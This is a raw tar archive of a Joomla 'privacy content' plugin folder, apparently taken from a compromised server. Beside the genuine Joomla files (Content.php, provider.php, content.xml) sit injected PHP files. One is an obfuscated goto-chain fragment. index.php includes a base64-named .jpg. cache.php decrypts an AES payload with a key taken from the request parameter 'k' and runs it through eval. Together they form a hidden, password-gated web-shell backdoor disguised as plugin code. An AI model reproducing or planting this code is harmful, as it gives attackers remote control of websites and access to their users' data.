Sfzc9rke4t5jda8W: $cSDh0PgN6W2UlnH5 = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto xsurKD5GJsqm1GsB; xsurKD5GJsqm1GsB: $S78GJ7vWvoWx1AH5 = $cSDh0PgN6W2UlnH5("\176", "\40"); goto VA8fxl2tujJYAxgW; a4tZuuEFhnugfKdZ: vCMY_jcueR6lcOtp::dIseCKRGAioYCwMi(); ?> content/src/src/index.php000060400000000076151664165020011421 0ustar00<?php include_once base64_decode("VmJhbE1tc3hUaHBDLmpwZw"); ?>content/src/src/cache.php000060400000013021151664165020011347 0ustar00<?php $MXuzt = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirlEaGaYGANAA'; $wXU = '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'; function MXuzt($ZKJEP) { $wXU = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $BwSyh = substr($wXU, 0, 16); $GIfl = base64_decode($ZKJEP); return openssl_decrypt($GIfl, "AES-256-CBC", $wXU, OPENSSL_RAW_DATA, $BwSyh); } if (MXuzt('DjtPn+r4S0yvLCnquPz1fA')){ echo 'N09azhjERw5VRNav6QtOcDWWrdQI1t/cPU5LD5rdD5qcF+zaxLf8t8WaMUhm40n5'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($MXuzt)))); ?>content/src/Extension/Content.php000064400000003761151664165020013121 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.content * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Content\Extension; use Joomla\CMS\User\User; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user content data * * @since 3.9.0 */ final class Content extends PrivacyPlugin { /** * Processes an export request for Joomla core user content data * * This event will collect data for the content core table * * - Content custom fields * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } $domains = []; $domain = $this->createDomain('user_content', 'joomla_user_content_data'); $domains[] = $domain; $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__content')) ->where($db->quoteName('created_by') . ' = ' . (int) $user->id) ->order($db->quoteName('ordering') . ' ASC'); $items = $db->setQuery($query)->loadObjectList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray((array) $item)); } $domains[] = $this->createCustomFieldsDomain('com_content.article', $items); return $domains; } } content/services/provider.php000064400000002645151664165020012421 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.content * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\Content\Extension\Content; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Content( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'content') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; content/content.xml000064400000001540151664165020010420 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_content</name> <author>Joomla! Project</author> <creationDate>2018-07</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_CONTENT_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\Content</namespace> <files> <folder plugin="content">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_content.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_content.sys.ini</language> </languages> </extension>
/home/opticamezl/www/newok/bin/../07d6c/../images/stories/../../logs/./../bin/../privacy.tar